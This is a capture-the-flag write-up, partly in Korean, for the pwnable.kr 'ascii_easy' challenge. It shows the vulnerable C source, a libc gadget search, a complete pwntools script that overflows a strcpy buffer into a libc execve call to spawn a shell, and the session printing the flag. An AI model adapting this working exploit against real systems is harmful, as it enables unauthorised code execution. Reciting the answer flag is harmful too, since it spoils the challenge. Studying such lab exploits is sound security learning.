Description
We often need to make 'printable-ascii-only' exploit payload. You wanna try? hint : you don't necessarily have to jump at the beggining of a function. try to land anyware. ssh [email protected] -p2222 (pw:guest)
Files / checksec
ascii_easy@ubuntu:~$ ls
ascii_easy ascii_easy.c flag intended_solution.txt libc-2.15.so
ascii_easy@ubuntu:~$ checksec ./ascii_easy
[*] '/home/ascii_easy/ascii_easy'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Source Code
- ascii_easy.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define BASE ((void*)0x5555e000)
int is_ascii(int c){
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}
len_file = st.st_size;
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}
int i;
for(i=0; i<strlen(argv[1]); i++){
if( !is_ascii(argv[1][i]) ){
printf("you have non-ascii byte!\n");
return;
}
}
printf("triggering bug...\n");
setregid(getegid(), getegid());
vuln(argv[1]);
}
로컬 libc 파일(/home/ascii_easy/libc-2.15.so)을 지정된 주소 BASE에 따라 0x5555e000에 RWX 권한으로 mmap한다.
사용자가 입력한 argv[1] 문자열에 비 ASCII 문자가 하나라도 있으면 종료된다.
ASCII 문자만 들어가있다면, vuln 함수를 호출하는데 매개변수로 argv[1]이 들어가 strcpy 함수를 통해 buf로 복사한다.
Analysis
아래 함수에서 버퍼 오버플로우 취약점이 있고, /home/ascii_easy/libc-2.15.so 가젯을 사용할 수 있다.
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
하지만 is_ascii 함수에 의해 아스키 범위 내의 데이터만 들어갈 수 있다.
쉘을 획득하기 위해 call execve 명령어들을 찾아봤을때,
b8967 주소를 사용할 수 있었다. (0xb8967 + 0x5555e000 = 0x55616967)
ascii_easy@ubuntu:~$ objdump -d ./libc-2.15.so | grep '<execve' > execve.txt
3edab: e8 30 98 07 00 calll 0xb85e0 <execve> 000b85e0 <execve>: b8616: 77 0b ja 0xb8623 <execve+0x43> b8631: eb e5 jmp 0xb8618 <execve+0x38> b86c4: e8 17 ff ff ff calll 0xb85e0 <execve> b876a: e8 71 fe ff ff calll 0xb85e0 <execve> b8802: e8 d9 fd ff ff calll 0xb85e0 <execve> b88c9: e8 12 fd ff ff calll 0xb85e0 <execve> b8967: e8 74 fc ff ff calll 0xb85e0 <execve> // XXX b8a32: e8 a9 fb ff ff calll 0xb85e0 <execve> b8c1b: e8 c0 f9 ff ff calll 0xb85e0 <execve> b8cda: e8 01 f9 ff ff calll 0xb85e0 <execve> b8e01: e8 da f7 ff ff calll 0xb85e0 <execve> b8ea8: e8 33 f7 ff ff calll 0xb85e0 <execve> d8b77: e8 64 fa fd ff calll 0xb85e0 <execve> d8eb5: e8 26 f7 fd ff calll 0xb85e0 <execve> d91ae: e8 2d f4 fd ff calll 0xb85e0 <execve> da486: e8 55 e1 fd ff calll 0xb85e0 <execve>
libc215_base = 0x5555e000
addresses = []
with open("execve.txt", "r") as file:
for line in file:
line = line.strip()
# calll 명령어가 있는 줄에서만 처리
if 'calll' in line:
parts = line.split(":")
if len(parts) > 1:
addr_str = parts[0].strip()
addr_int = int(addr_str, 16)
addr_int = hex(addr_int + libc215_base)
addresses.append(addr_int)
print(addresses)
seo@seos-macbook ascii_easy % python3 collect_execve.py ['0x5559cdab', '0x556166c4', '0x5561676a', '0x55616802', '0x556168c9', '0x55616967', '0x55616a32', '0x55616c1b', '0x55616cda', '0x55616e01', '0x55616ea8', '0x55636b77', '0x55636eb5', '0x556371ae', '0x55638486']
b8967: e8 74 fc ff ff calll 0xb85e0 <execve> // XXX
다음으로, execve 함수에서 실행시킬 1번쨰 인자는 마찬가지로 아스키 범위 내에 있는 tag 문자열을 대상으로 진행하였다.
(0x158544 + 0x5555e000 = 0x556b6544)

execve 함수에서 실행시킬 2, 3번째 매개변수는 NULL을 가리키는 0x15686C.
(0x15686c + 0x5555e000 = 0x556b486c)

vuln 함수의 dest 지역변수를 살펴보면, ebp-0x1C에 위치해있기에 0x1c, 28바이트만큼 채우고, vuln’s ebp 덮을 4바이트, 그 다음에 이제 vuln’s RET에 4바이트 덮을 수 있겠다.
char *__cdecl vuln(char *src)
{
char dest[24]; // [esp+Ch] [ebp-1Ch] BYREF
return strcpy(dest, src);
}
solve.py
from pwn import *
# context.log_level = 'debug'
libc215_base = 0x5555e000
libc215_call_execve = libc215_base + 0xb8967
libc215_tag = libc215_base + 0x158544
libc215_null = libc215_base + 0x0015686C
payload = b'A'*20
payload += b'B'*4
payload += b'C'*4
payload += b'D'*4 #vuln's ebp
payload = payload + p32(libc215_call_execve) + p32(libc215_tag) + p32(libc215_null) + p32(libc215_null)
arg = ['./ascii_easy', payload]
p = process(executable='./ascii_easy', argv=arg)
# e = ELF('./ascii_easy')
p.interactive()
# gef➤ r ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP
# Starting program: /home/ubuntu/pwnable.kr/ascii_easy/ascii_easy ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP
# 0x8049232 <vuln+0025> nop
# 0x8049233 <vuln+0026> mov ebx, DWORD PTR [ebp-0x4]
# 0x8049236 <vuln+0029> leave
# → 0x8049237 <vuln+002a> ret
# gef➤ info reg ebp
# ebp 0x46454443 0x46454443 //CDEF
# >>> len('ABCDEFGHIJKLMNOPQRSTUVWXYZAB')
# 28
# 28~32 -> ebp
# 32 -> ret
# ascii_easy@ubuntu:/tmp/w4_8$ cat tag.c
# #include <stdio.h>
# int main(void) {
# system("/bin/bash");
# return 0;
# }
# gcc -o tag tag.c
# ASCII_armor_is_a_real_pain_to_d3al_with!
Result
ascii_easy@ubuntu:~$ mkdir -p /tmp/w4_ascii
ascii_easy@ubuntu:~$ cd /tmp/w4_ascii
ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/ascii_easy .
ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/flag .
ascii_easy@ubuntu:/tmp/w4_ascii$ nano solve.py
ascii_easy@ubuntu:/tmp/w4_ascii$ nano tag.c
Unable to create directory /home/ascii_easy/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
ascii_easy@ubuntu:/tmp/w4_ascii$ gcc -o tag tag.c
tag.c: In function ‘main’:
tag.c:4:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
4 | system("/bin/bash");
| ^~~~~~
ascii_easy@ubuntu:/tmp/w4_ascii$ python3 solve.py
[+] Starting local process './ascii_easy': pid 1358454
[*] Switching to interactive mode
triggering bug...
$ cat flag
ASCII_armor_is_a_real_pain_to_d3al_with!